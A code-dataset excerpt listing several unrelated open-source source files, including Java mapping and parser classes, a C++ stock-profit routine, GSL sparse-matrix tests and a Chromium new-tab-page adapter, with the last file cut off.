max_stars_count
int64 301
224k
| text
stringlengths 6
1.05M
| token_count
int64 3
727k
|
---|---|---|
1,838 | <filename>core/src/main/java/com/github/dozermapper/core/builder/model/elengine/ELMappingDefinition.java
/*
* Copyright 2005-2019 Dozer Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.github.dozermapper.core.builder.model.elengine;
import java.util.ArrayList;
import java.util.stream.Collectors;
import com.github.dozermapper.core.builder.model.jaxb.FieldDefinition;
import com.github.dozermapper.core.builder.model.jaxb.MappingDefinition;
import com.github.dozermapper.core.builder.model.jaxb.MappingsDefinition;
import com.github.dozermapper.core.classmap.ClassMap;
import com.github.dozermapper.core.classmap.Configuration;
import com.github.dozermapper.core.config.BeanContainer;
import com.github.dozermapper.core.el.ELEngine;
import com.github.dozermapper.core.factory.DestBeanCreator;
import com.github.dozermapper.core.propertydescriptor.PropertyDescriptorFactory;
import org.apache.commons.lang3.StringUtils;
/**
* {@inheritDoc}
*/
public class ELMappingDefinition extends MappingDefinition {
private final ELEngine elEngine;
public ELMappingDefinition(ELEngine elEngine, MappingDefinition copy) {
this(elEngine, (MappingsDefinition)null);
if (copy != null) {
this.classA = new ELClassDefinition(elEngine, copy.getClassA());
this.classB = new ELClassDefinition(elEngine, copy.getClassB());
if (copy.getFieldOrFieldExclude() != null && copy.getFieldOrFieldExclude().size() > 0) {
this.fieldOrFieldExclude = copy.getFieldOrFieldExclude()
.stream()
.map(f -> f instanceof FieldDefinition
? new ELFieldDefinition(elEngine, (FieldDefinition)f)
: f)
.collect(Collectors.toList());
}
this.dateFormat = copy.getDateFormat();
this.stopOnErrors = copy.getStopOnErrors();
this.wildcard = copy.getWildcard();
this.wildcardCaseInsensitive = copy.getWildcardCaseInsensitive();
this.trimStrings = copy.getTrimStrings();
this.mapNull = copy.getMapNull();
this.mapEmptyString = copy.getMapEmptyString();
this.beanFactory = copy.getBeanFactory();
this.type = copy.getType();
this.relationshipType = copy.getRelationshipType();
this.mapId = copy.getMapId();
}
}
public ELMappingDefinition(ELEngine elEngine, MappingsDefinition parent) {
super(parent);
this.elEngine = elEngine;
}
@Override
public FieldDefinition withField() {
if (getFields() == null) {
setFields(new ArrayList<>());
}
ELFieldDefinition field = new ELFieldDefinition(elEngine, this);
getFields().add(field);
return field;
}
@Override
public ClassMap build(Configuration configuration, BeanContainer beanContainer, DestBeanCreator destBeanCreator, PropertyDescriptorFactory propertyDescriptorFactory) {
if (!StringUtils.isBlank(beanFactory)) {
setBeanFactory(elEngine.resolve(beanFactory));
}
return super.build(configuration, beanContainer, destBeanCreator, propertyDescriptorFactory);
}
}
| 1,470 |
797 | <reponame>cedrickring/js-graphql-intellij-plugin
// This is a generated file. Not intended for manual editing.
package com.intellij.lang.jsgraphql.endpoint.doc.parser;
import com.intellij.lang.PsiBuilder;
import com.intellij.lang.PsiBuilder.Marker;
import static com.intellij.lang.jsgraphql.endpoint.doc.JSGraphQLEndpointDocTokenTypes.*;
import static com.intellij.lang.parser.GeneratedParserUtilBase.*;
import com.intellij.psi.tree.IElementType;
import com.intellij.lang.ASTNode;
import com.intellij.psi.tree.TokenSet;
import com.intellij.lang.PsiParser;
import com.intellij.lang.LightPsiParser;
@SuppressWarnings({"SimplifiableIfStatement", "UnusedAssignment"})
public class JSGraphQLEndpointDocParser implements PsiParser, LightPsiParser {
public ASTNode parse(IElementType root_, PsiBuilder builder_) {
parseLight(root_, builder_);
return builder_.getTreeBuilt();
}
public void parseLight(IElementType root_, PsiBuilder builder_) {
boolean result_;
builder_ = adapt_builder_(root_, builder_, this, null);
Marker marker_ = enter_section_(builder_, 0, _COLLAPSE_, null);
result_ = parse_root_(root_, builder_);
exit_section_(builder_, 0, marker_, root_, result_, true, TRUE_CONDITION);
}
protected boolean parse_root_(IElementType root_, PsiBuilder builder_) {
return parse_root_(root_, builder_, 0);
}
static boolean parse_root_(IElementType root_, PsiBuilder builder_, int level_) {
return Document(builder_, level_ + 1);
}
/* ********************************************************** */
// Rule*
static boolean Document(PsiBuilder builder_, int level_) {
if (!recursion_guard_(builder_, level_, "Document")) return false;
while (true) {
int pos_ = current_position_(builder_);
if (!Rule(builder_, level_ + 1)) break;
if (!empty_element_parsed_guard_(builder_, "Document", pos_)) break;
}
return true;
}
/* ********************************************************** */
// Tag | docText
static boolean Rule(PsiBuilder builder_, int level_) {
if (!recursion_guard_(builder_, level_, "Rule")) return false;
if (!nextTokenIs(builder_, "", DOCNAME, DOCTEXT)) return false;
boolean result_;
result_ = Tag(builder_, level_ + 1);
if (!result_) result_ = consumeToken(builder_, DOCTEXT);
return result_;
}
/* ********************************************************** */
// docName docValue
public static boolean Tag(PsiBuilder builder_, int level_) {
if (!recursion_guard_(builder_, level_, "Tag")) return false;
if (!nextTokenIs(builder_, DOCNAME)) return false;
boolean result_, pinned_;
Marker marker_ = enter_section_(builder_, level_, _NONE_, TAG, null);
result_ = consumeTokens(builder_, 1, DOCNAME, DOCVALUE);
pinned_ = result_; // pin = 1
exit_section_(builder_, level_, marker_, result_, pinned_, null);
return result_ || pinned_;
}
}
| 987 |
875 | <gh_stars>100-1000
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.sqoop.accumulo;
import java.io.IOException;
import java.util.Map;
import org.apache.accumulo.core.data.Mutation;
/**
* Abstract class that takes a map of jdbc field names to values
* and converts them to Mutations for Accumulo.
*/
public abstract class MutationTransformer {
private String columnFamily;
private String rowKeyColumn;
private String visibility;
/**
* @return the default column family to insert into.
*/
public String getColumnFamily() {
return this.columnFamily;
}
/**
* Set the default column family to insert into.
*/
public void setColumnFamily(String colFamily) {
this.columnFamily = colFamily;
}
/**
* @return the field name identifying the value to use as the row id.
*/
public String getRowKeyColumn() {
return this.rowKeyColumn;
}
/**
* Set the column of the input fields which should be used to calculate
* the row id.
*/
public void setRowKeyColumn(String rowKeyCol) {
this.rowKeyColumn = rowKeyCol;
}
/**
* @return the field name identifying the visibility token.
*/
public String getVisibility() {
return this.visibility;
}
/**
* Set the visibility token to set for each cell.
*/
public void setVisibility(String vis) {
this.visibility = vis;
}
/**
* Returns a list of Mutations that inserts the fields into a row in Accumulo.
* @param fields a map of field names to values to insert.
* @return A list of Mutations that inserts these into Accumulo.
*/
public abstract Iterable<Mutation> getMutations(Map<String, Object> fields)
throws IOException;
}
| 711 |
448 | <gh_stars>100-1000
#include <bits/stdc++.h>
using namespace std;
int stocksProfit(int arr[],int n){
int minPrice= INT_MAX;
int maxProfit = 0;
for(int i=0 ; i<n ; i++){
minPrice = min(minPrice , arr[i]);
maxProfit = max(maxProfit , arr[i] - minPrice);
}
return maxProfit;
}
int main()
{
int n;
cin>>n;
int arr[n];
for(int i =0 ; i<n ; i++){
cin>>arr[i];
}
cout<<"Maximum Profit: "<<stocksProfit(arr , n)<<" Rs.";
return 0;
}
| 275 |
692 | <filename>tests/libs/gsl/tests/spmatrix/test.c
/* test.c
*
* Copyright (C) 2012-2014 <NAME>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or (at
* your option) any later version.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
#include <config.h>
#include <stdlib.h>
#include <math.h>
#include <gsl/gsl_math.h>
#include <gsl/gsl_errno.h>
#include <gsl/gsl_randist.h>
#include <gsl/gsl_rng.h>
#include <gsl/gsl_matrix.h>
#include <gsl/gsl_vector.h>
#include <gsl/gsl_test.h>
#include <gsl/gsl_blas.h>
#include <gsl/gsl_spmatrix.h>
/*
create_random_sparse()
Create a random sparse matrix with approximately
M*N*density non-zero entries
Inputs: M - number of rows
N - number of columns
density - sparse density \in [0,1]
0 = no non-zero entries
1 = all m*n entries are filled
r - random number generator
Return: pointer to sparse matrix in triplet format (must be freed by caller)
Notes:
1) non-zero matrix entries are uniformly distributed in [0,1]
*/
static gsl_spmatrix *
create_random_sparse(const size_t M, const size_t N, const double density,
const gsl_rng *r)
{
size_t nnzwanted = (size_t) floor(M * N * GSL_MIN(density, 1.0));
gsl_spmatrix *m = gsl_spmatrix_alloc_nzmax(M, N,
nnzwanted,
GSL_SPMATRIX_TRIPLET);
while (gsl_spmatrix_nnz(m) < nnzwanted)
{
/* generate a random row and column */
size_t i = gsl_rng_uniform(r) * M;
size_t j = gsl_rng_uniform(r) * N;
/* generate random m_{ij} and add it */
double x = gsl_rng_uniform(r);
gsl_spmatrix_set(m, i, j, x);
}
return m;
} /* create_random_sparse() */
static void
test_getset(const size_t M, const size_t N, const gsl_rng *r)
{
int status;
size_t i, j;
/* test triplet versions of _get and _set */
{
size_t k = 0;
gsl_spmatrix *m = gsl_spmatrix_alloc(M, N);
status = 0;
for (i = 0; i < M; ++i)
{
for (j = 0; j < N; ++j)
{
double x = (double) ++k;
double y;
gsl_spmatrix_set(m, i, j, x);
y = gsl_spmatrix_get(m, i, j);
if (x != y)
status = 1;
}
}
gsl_test(status, "test_getset: M=%zu N=%zu _get != _set", M, N);
/* test setting an element to 0 */
gsl_spmatrix_set(m, 0, 0, 1.0);
gsl_spmatrix_set(m, 0, 0, 0.0);
status = gsl_spmatrix_get(m, 0, 0) != 0.0;
gsl_test(status, "test_getset: M=%zu N=%zu m(0,0) = %f",
M, N, gsl_spmatrix_get(m, 0, 0));
/* test gsl_spmatrix_set_zero() */
gsl_spmatrix_set(m, 0, 0, 1.0);
gsl_spmatrix_set_zero(m);
status = gsl_spmatrix_get(m, 0, 0) != 0.0;
gsl_test(status, "test_getset: M=%zu N=%zu set_zero m(0,0) = %f",
M, N, gsl_spmatrix_get(m, 0, 0));
/* resassemble matrix to ensure nz is calculated correctly */
k = 0;
for (i = 0; i < M; ++i)
{
for (j = 0; j < N; ++j)
{
double x = (double) ++k;
gsl_spmatrix_set(m, i, j, x);
}
}
status = gsl_spmatrix_nnz(m) != M * N;
gsl_test(status, "test_getset: M=%zu N=%zu set_zero nz = %zu",
M, N, gsl_spmatrix_nnz(m));
gsl_spmatrix_free(m);
}
/* test duplicate values are handled correctly */
{
size_t min = GSL_MIN(M, N);
size_t expected_nnz = min;
size_t nnz;
size_t k = 0;
gsl_spmatrix *m = gsl_spmatrix_alloc(M, N);
status = 0;
for (i = 0; i < min; ++i)
{
for (j = 0; j < 5; ++j)
{
double x = (double) ++k;
double y;
gsl_spmatrix_set(m, i, i, x);
y = gsl_spmatrix_get(m, i, i);
if (x != y)
status = 1;
}
}
gsl_test(status, "test_getset: duplicate test M=%zu N=%zu _get != _set", M, N);
nnz = gsl_spmatrix_nnz(m);
status = nnz != expected_nnz;
gsl_test(status, "test_getset: duplicate test M=%zu N=%zu nnz=%zu, expected=%zu",
M, N, nnz, expected_nnz);
gsl_spmatrix_free(m);
}
/* test compressed version of gsl_spmatrix_get() */
{
gsl_spmatrix *T = create_random_sparse(M, N, 0.3, r);
gsl_spmatrix *C = gsl_spmatrix_compcol(T);
status = 0;
for (i = 0; i < M; ++i)
{
for (j = 0; j < N; ++j)
{
double Tij = gsl_spmatrix_get(T, i, j);
double Cij = gsl_spmatrix_get(C, i, j);
if (Tij != Cij)
status = 1;
}
}
gsl_test(status, "test_getset: M=%zu N=%zu compressed _get", M, N);
gsl_spmatrix_free(T);
gsl_spmatrix_free(C);
}
} /* test_getset() */
static void
test_memcpy(const size_t M, const size_t N, const gsl_rng *r)
{
int status;
{
gsl_spmatrix *at = create_random_sparse(M, N, 0.2, r);
gsl_spmatrix *ac = gsl_spmatrix_compcol(at);
gsl_spmatrix *bt, *bc;
bt = gsl_spmatrix_alloc(M, N);
gsl_spmatrix_memcpy(bt, at);
status = gsl_spmatrix_equal(at, bt) != 1;
gsl_test(status, "test_memcpy: _memcpy M=%zu N=%zu triplet format", M, N);
bc = gsl_spmatrix_alloc_nzmax(M, N, ac->nzmax, GSL_SPMATRIX_CCS);
gsl_spmatrix_memcpy(bc, ac);
status = gsl_spmatrix_equal(ac, bc) != 1;
gsl_test(status, "test_memcpy: _memcpy M=%zu N=%zu compressed column format", M, N);
gsl_spmatrix_free(at);
gsl_spmatrix_free(ac);
gsl_spmatrix_free(bt);
gsl_spmatrix_free(bc);
}
/* test transpose_memcpy */
{
gsl_spmatrix *A = create_random_sparse(M, N, 0.3, r);
gsl_spmatrix *B = gsl_spmatrix_compcol(A);
gsl_spmatrix *AT = gsl_spmatrix_alloc(N, M);
gsl_spmatrix *BT = gsl_spmatrix_alloc_nzmax(N, M, 1, GSL_SPMATRIX_CCS);
size_t i, j;
gsl_spmatrix_transpose_memcpy(AT, A);
gsl_spmatrix_transpose_memcpy(BT, B);
status = 0;
for (i = 0; i < M; ++i)
{
for (j = 0; j < N; ++j)
{
double Aij = gsl_spmatrix_get(A, i, j);
double ATji = gsl_spmatrix_get(AT, j, i);
double Bij = gsl_spmatrix_get(B, i, j);
double BTji = gsl_spmatrix_get(BT, j, i);
if ((Aij != ATji) || (Bij != BTji) || (Aij != Bij))
status = 1;
}
}
gsl_test(status, "test_memcpy: _transpose_memcpy M=%zu N=%zu triplet format", M, N);
gsl_spmatrix_free(A);
gsl_spmatrix_free(AT);
gsl_spmatrix_free(B);
gsl_spmatrix_free(BT);
}
} /* test_memcpy() */
static void
test_ops(const size_t M, const size_t N, const gsl_rng *r)
{
size_t i, j;
int status;
/* test gsl_spmatrix_add */
{
gsl_spmatrix *Ta = create_random_sparse(M, N, 0.2, r);
gsl_spmatrix *Tb = create_random_sparse(M, N, 0.2, r);
gsl_spmatrix *a = gsl_spmatrix_compcol(Ta);
gsl_spmatrix *b = gsl_spmatrix_compcol(Tb);
gsl_spmatrix *c = gsl_spmatrix_alloc_nzmax(M, N, 1, GSL_SPMATRIX_CCS);
gsl_spmatrix_add(c, a, b);
status = 0;
for (i = 0; i < M; ++i)
{
for (j = 0; j < N; ++j)
{
double aij = gsl_spmatrix_get(a, i, j);
double bij = gsl_spmatrix_get(b, i, j);
double cij = gsl_spmatrix_get(c, i, j);
if (aij + bij != cij)
status = 1;
}
}
gsl_test(status, "test_ops: _add M=%zu N=%zu compressed format", M, N);
gsl_spmatrix_free(Ta);
gsl_spmatrix_free(Tb);
gsl_spmatrix_free(a);
gsl_spmatrix_free(b);
gsl_spmatrix_free(c);
}
} /* test_ops() */
int
main()
{
gsl_rng *r = gsl_rng_alloc(gsl_rng_default);
test_memcpy(10, 10, r);
test_memcpy(10, 15, r);
test_memcpy(53, 213, r);
test_memcpy(920, 2, r);
test_memcpy(2, 920, r);
test_getset(20, 20, r);
test_getset(30, 20, r);
test_getset(15, 210, r);
test_ops(20, 20, r);
test_ops(50, 20, r);
test_ops(20, 50, r);
test_ops(76, 43, r);
gsl_rng_free(r);
exit (gsl_test_summary());
} /* main() */
| 4,430 |
2,151 | // Copyright 2016 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
package org.chromium.chrome.browser.ntp.cards;
import android.support.annotation.Nullable;
import android.support.v7.widget.RecyclerView;
import android.support.v7.widget.RecyclerView.Adapter;
import android.view.View;
import android.view.ViewGroup;
import org.chromium.base.Callback;
import org.chromium.base.VisibleForTesting;
import org.chromium.chrome.browser.ChromeFeatureList;
import org.chromium.chrome.browser.ntp.ContextMenuManager;
import org.chromium.chrome.browser.ntp.LogoView;
import org.chromium.chrome.browser.ntp.cards.NewTabPageViewHolder.PartialBindCallback;
import org.chromium.chrome.browser.ntp.snippets.CategoryInt;
import org.chromium.chrome.browser.ntp.snippets.CategoryStatus;
import org.chromium.chrome.browser.ntp.snippets.KnownCategories;
import org.chromium.chrome.browser.ntp.snippets.SectionHeaderViewHolder;
import org.chromium.chrome.browser.ntp.snippets.SnippetArticleViewHolder;
import org.chromium.chrome.browser.ntp.snippets.SnippetsBridge;
import org.chromium.chrome.browser.ntp.snippets.SuggestionsSource;
import org.chromium.chrome.browser.offlinepages.OfflinePageBridge;
import org.chromium.chrome.browser.suggestions.DestructionObserver;
import org.chromium.chrome.browser.suggestions.LogoItem;
import org.chromium.chrome.browser.suggestions.SiteSection;
import org.chromium.chrome.browser.suggestions.SuggestionsConfig;
import org.chromium.chrome.browser.suggestions.SuggestionsRecyclerView;
import org.chromium.chrome.browser.suggestions.SuggestionsUiDelegate;
import org.chromium.chrome.browser.suggestions.TileGroup;
import org.chromium.chrome.browser.util.FeatureUtilities;
import org.chromium.chrome.browser.widget.displaystyle.UiConfig;
import java.util.List;
import java.util.Set;
/**
* A class that handles merging above the fold elements and below the fold cards into an adapter
* that will be used to back the NTP RecyclerView. The first element in the adapter should always be
* the above-the-fold view (containing the logo, search box, and most visited tiles) and subsequent
* elements will be the cards shown to the user
*/
public class NewTabPageAdapter extends Adapter<NewTabPageViewHolder> implements NodeParent {
private final SuggestionsUiDelegate mUiDelegate;
private final ContextMenuManager mContextMenuManager;
private final OfflinePageBridge mOfflinePageBridge;
private final @Nullable View mAboveTheFoldView;
private final @Nullable LogoView mLogoView;
private final UiConfig mUiConfig;
private SuggestionsRecyclerView mRecyclerView;
private final InnerNode mRoot;
private final @Nullable AboveTheFoldItem mAboveTheFold;
private final @Nullable LogoItem mLogo;
private final @Nullable SiteSection mSiteSection;
private final SectionList mSections;
private final @Nullable SignInPromo mSigninPromo;
private final AllDismissedItem mAllDismissed;
private final Footer mFooter;
/**
* Creates the adapter that will manage all the cards to display on the NTP.
* @param uiDelegate used to interact with the rest of the system.
* @param aboveTheFoldView the layout encapsulating all the above-the-fold elements
* (logo, search box, most visited tiles), or null if only suggestions should
* be displayed.
* @param logoView the view for the logo, which may be provided when {@code aboveTheFoldView} is
* null. They are not expected to be both non-null as that would lead to showing the
* logo twice.
* @param uiConfig the NTP UI configuration, to be passed to created views.
* @param offlinePageBridge used to determine if articles are available.
* @param contextMenuManager used to build context menus.
* @param tileGroupDelegate if not null this is used to build a {@link SiteSection}.
*/
public NewTabPageAdapter(SuggestionsUiDelegate uiDelegate, @Nullable View aboveTheFoldView,
@Nullable LogoView logoView, UiConfig uiConfig, OfflinePageBridge offlinePageBridge,
ContextMenuManager contextMenuManager, @Nullable TileGroup.Delegate tileGroupDelegate) {
assert !(aboveTheFoldView != null && logoView != null);
mUiDelegate = uiDelegate;
mContextMenuManager = contextMenuManager;
mAboveTheFoldView = aboveTheFoldView;
mLogoView = logoView;
mUiConfig = uiConfig;
mRoot = new InnerNode();
mSections = new SectionList(mUiDelegate, offlinePageBridge);
mSigninPromo = SignInPromo.maybeCreatePromo(mUiDelegate);
mAllDismissed = new AllDismissedItem();
if (mAboveTheFoldView == null) {
mAboveTheFold = null;
} else {
mAboveTheFold = new AboveTheFoldItem();
mRoot.addChild(mAboveTheFold);
}
if (mLogoView == null) {
mLogo = null;
} else {
mLogo = new LogoItem();
mRoot.addChild(mLogo);
}
if (tileGroupDelegate == null) {
mSiteSection = null;
} else {
mSiteSection = new SiteSection(uiDelegate, mContextMenuManager, tileGroupDelegate,
offlinePageBridge, uiConfig);
mRoot.addChild(mSiteSection);
}
if (SuggestionsConfig.scrollToLoad()) {
// If scroll-to-load is enabled, show the sign-in promo above suggested content.
if (mSigninPromo != null) mRoot.addChild(mSigninPromo);
mRoot.addChild(mAllDismissed);
mRoot.addChild(mSections);
} else {
mRoot.addChild(mSections);
if (mSigninPromo != null) mRoot.addChild(mSigninPromo);
mRoot.addChild(mAllDismissed);
}
mFooter = new Footer();
mRoot.addChild(mFooter);
mOfflinePageBridge = offlinePageBridge;
RemoteSuggestionsStatusObserver suggestionsObserver = new RemoteSuggestionsStatusObserver();
mUiDelegate.addDestructionObserver(suggestionsObserver);
updateAllDismissedVisibility();
mRoot.setParent(this);
}
@Override
@ItemViewType
public int getItemViewType(int position) {
return mRoot.getItemViewType(position);
}
@Override
public NewTabPageViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {
assert parent == mRecyclerView;
switch (viewType) {
case ItemViewType.ABOVE_THE_FOLD:
return new NewTabPageViewHolder(mAboveTheFoldView);
case ItemViewType.LOGO:
return new LogoItem.ViewHolder(mLogoView);
case ItemViewType.SITE_SECTION:
return SiteSection.createViewHolder(
SiteSection.inflateSiteSection(parent), mUiConfig);
case ItemViewType.HEADER:
return new SectionHeaderViewHolder(mRecyclerView, mUiConfig);
case ItemViewType.SNIPPET:
return new SnippetArticleViewHolder(mRecyclerView, mContextMenuManager, mUiDelegate,
mUiConfig, mOfflinePageBridge);
case ItemViewType.STATUS:
return new StatusCardViewHolder(mRecyclerView, mContextMenuManager, mUiConfig);
case ItemViewType.PROGRESS:
return new ProgressViewHolder(mRecyclerView);
case ItemViewType.ACTION:
return new ActionItem.ViewHolder(
mRecyclerView, mContextMenuManager, mUiDelegate, mUiConfig);
case ItemViewType.PROMO:
return mSigninPromo.createViewHolder(mRecyclerView, mContextMenuManager, mUiConfig);
case ItemViewType.FOOTER:
return new Footer.ViewHolder(mRecyclerView, mUiDelegate.getNavigationDelegate());
case ItemViewType.ALL_DISMISSED:
return new AllDismissedItem.ViewHolder(mRecyclerView, mSections);
}
assert false : viewType;
return null;
}
@Override
public void onBindViewHolder(NewTabPageViewHolder holder, int position, List<Object> payloads) {
if (payloads.isEmpty()) {
mRoot.onBindViewHolder(holder, position);
return;
}
for (Object payload : payloads) {
((PartialBindCallback) payload).onResult(holder);
}
}
@Override
public void onBindViewHolder(NewTabPageViewHolder holder, final int position) {
mRoot.onBindViewHolder(holder, position);
}
@Override
public int getItemCount() {
return mRoot.getItemCount();
}
/** Resets suggestions, pulling the current state as known by the backend. */
public void refreshSuggestions() {
if (FeatureUtilities.isChromeHomeEnabled()) {
mSections.synchroniseWithSource();
} else {
mSections.refreshSuggestions();
}
if (mSiteSection != null) {
mSiteSection.getTileGroup().onSwitchToForeground(/* trackLoadTask = */ true);
}
}
public int getAboveTheFoldPosition() {
if (mAboveTheFoldView == null) return RecyclerView.NO_POSITION;
return getChildPositionOffset(mAboveTheFold);
}
public int getFirstHeaderPosition() {
return getFirstPositionForType(ItemViewType.HEADER);
}
public int getFirstSnippetPosition() {
return getFirstPositionForType(ItemViewType.SNIPPET);
}
/**
* Returns the position in the adapter of the header to the article suggestions if it exists.
* @return The article header position. RecyclerView.NO_POSITION if articles or their header
* does not exist.
*/
public int getArticleHeaderPosition() {
SuggestionsSection suggestions = mSections.getSection(KnownCategories.ARTICLES);
if (suggestions == null || !suggestions.hasCards()) return RecyclerView.NO_POSITION;
int articlesRank = RecyclerView.NO_POSITION;
int emptySectionCount = 0;
int[] categories = mUiDelegate.getSuggestionsSource().getCategories();
for (int i = 0; i < categories.length; i++) {
// The categories array includes empty sections.
if (mSections.getSection(categories[i]) == null) emptySectionCount++;
if (categories[i] == KnownCategories.ARTICLES) {
articlesRank = i - emptySectionCount;
break;
}
}
if (articlesRank == RecyclerView.NO_POSITION) return RecyclerView.NO_POSITION;
int headerRank = RecyclerView.NO_POSITION;
for (int i = 0; i < getItemCount(); i++) {
if (getItemViewType(i) == ItemViewType.HEADER && ++headerRank == articlesRank) return i;
}
return RecyclerView.NO_POSITION;
}
public int getFirstCardPosition() {
for (int i = 0; i < getItemCount(); ++i) {
if (CardViewHolder.isCard(getItemViewType(i))) return i;
}
return RecyclerView.NO_POSITION;
}
private void updateAllDismissedVisibility() {
boolean areRemoteSuggestionsEnabled =
mUiDelegate.getSuggestionsSource().areRemoteSuggestionsEnabled();
boolean allDismissed = hasAllBeenDismissed() && !areArticlesLoading();
boolean isArticleSectionVisible =
ChromeFeatureList.isEnabled(
ChromeFeatureList.NTP_ARTICLE_SUGGESTIONS_EXPANDABLE_HEADER)
&& mSections.getSection(KnownCategories.ARTICLES) != null;
mAllDismissed.setVisible(areRemoteSuggestionsEnabled && allDismissed);
mFooter.setVisible(!SuggestionsConfig.scrollToLoad() && !allDismissed
&& (areRemoteSuggestionsEnabled || isArticleSectionVisible));
}
private boolean areArticlesLoading() {
for (int category : mUiDelegate.getSuggestionsSource().getCategories()) {
if (category != KnownCategories.ARTICLES) continue;
return mUiDelegate.getSuggestionsSource().getCategoryStatus(KnownCategories.ARTICLES)
== CategoryStatus.AVAILABLE_LOADING;
}
return false;
}
@Override
public void onItemRangeChanged(TreeNode child, int itemPosition, int itemCount,
@Nullable PartialBindCallback callback) {
assert child == mRoot;
notifyItemRangeChanged(itemPosition, itemCount, callback);
}
@Override
public void onItemRangeInserted(TreeNode child, int itemPosition, int itemCount) {
assert child == mRoot;
notifyItemRangeInserted(itemPosition, itemCount);
if (mRecyclerView != null && FeatureUtilities.isChromeHomeEnabled()
&& mSections.hasRecentlyInsertedContent()) {
mRecyclerView.highlightContentLength();
}
updateAllDismissedVisibility();
}
@Override
public void onItemRangeRemoved(TreeNode child, int itemPosition, int itemCount) {
assert child == mRoot;
notifyItemRangeRemoved(itemPosition, itemCount);
updateAllDismissedVisibility();
}
@Override
public void onAttachedToRecyclerView(RecyclerView recyclerView) {
super.onAttachedToRecyclerView(recyclerView);
if (mRecyclerView == recyclerView) return;
// We are assuming for now that the adapter is used with a single RecyclerView.
// Getting the reference as we are doing here is going to be broken if that changes.
assert mRecyclerView == null;
mRecyclerView = (SuggestionsRecyclerView) recyclerView;
if (SuggestionsConfig.scrollToLoad()) {
mRecyclerView.setScrollToLoadListener(new ScrollToLoadListener(
this, mRecyclerView.getLinearLayoutManager(), mSections));
}
}
@Override
public void onDetachedFromRecyclerView(RecyclerView recyclerView) {
super.onDetachedFromRecyclerView(recyclerView);
if (SuggestionsConfig.scrollToLoad()) mRecyclerView.clearScrollToLoadListener();
mRecyclerView = null;
}
@Override
public void onViewRecycled(NewTabPageViewHolder holder) {
holder.recycle();
}
/**
* @return the set of item positions that should be dismissed simultaneously when dismissing the
* item at the given {@code position} (including the position itself), or an empty set
* if the item can't be dismissed.
*/
public Set<Integer> getItemDismissalGroup(int position) {
return mRoot.getItemDismissalGroup(position);
}
/**
* Dismisses the item at the provided adapter position. Can also cause the dismissal of other
* items or even entire sections.
* @param position the position of an item to be dismissed.
* @param itemRemovedCallback
*/
public void dismissItem(int position, Callback<String> itemRemovedCallback) {
mRoot.dismissItem(position, itemRemovedCallback);
}
/**
* Sets the visibility of the logo.
* @param visible Whether the logo should be visible.
*/
public void setLogoVisibility(boolean visible) {
assert mLogo != null;
mLogo.setVisible(visible);
}
/**
* Drops all but the first {@code n} thumbnails on articles.
* @param n The number of article thumbnails to keep.
*/
public void dropAllButFirstNArticleThumbnails(int n) {
mSections.dropAllButFirstNArticleThumbnails(n);
}
private boolean hasAllBeenDismissed() {
if (mSigninPromo != null && mSigninPromo.isVisible()) return false;
if (!FeatureUtilities.isChromeHomeEnabled()) return mSections.isEmpty();
// In Chrome Home we only consider articles.
SuggestionsSection suggestions = mSections.getSection(KnownCategories.ARTICLES);
return suggestions == null || !suggestions.hasCards();
}
private int getChildPositionOffset(TreeNode child) {
return mRoot.getStartingOffsetForChild(child);
}
@VisibleForTesting
public int getFirstPositionForType(@ItemViewType int viewType) {
int count = getItemCount();
for (int i = 0; i < count; i++) {
if (getItemViewType(i) == viewType) return i;
}
return RecyclerView.NO_POSITION;
}
public SectionList getSectionListForTesting() {
return mSections;
}
public InnerNode getRootForTesting() {
return mRoot;
}
private class RemoteSuggestionsStatusObserver
extends SuggestionsSource.EmptyObserver implements DestructionObserver {
public RemoteSuggestionsStatusObserver() {
mUiDelegate.getSuggestionsSource().addObserver(this);
}
@Override
public void onCategoryStatusChanged(
@CategoryInt int category, @CategoryStatus int newStatus) {
if (!SnippetsBridge.isCategoryRemote(category)) return;
updateAllDismissedVisibility();
}
@Override
public void onDestroy() {
mUiDelegate.getSuggestionsSource().removeObserver(this);
}
}
}
| 6,738 |
3,212 | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.nifi.snmp.helper.testrunners;
import org.apache.nifi.snmp.configuration.SNMPConfiguration;
import org.apache.nifi.snmp.configuration.V2TrapConfiguration;
import org.apache.nifi.snmp.helper.TrapConfigurationFactory;
import org.apache.nifi.snmp.helper.configurations.SNMPConfigurationFactory;
import org.apache.nifi.snmp.helper.configurations.SNMPV3ConfigurationFactory;
import org.apache.nifi.snmp.processors.GetSNMP;
import org.apache.nifi.snmp.processors.ListenTrapSNMP;
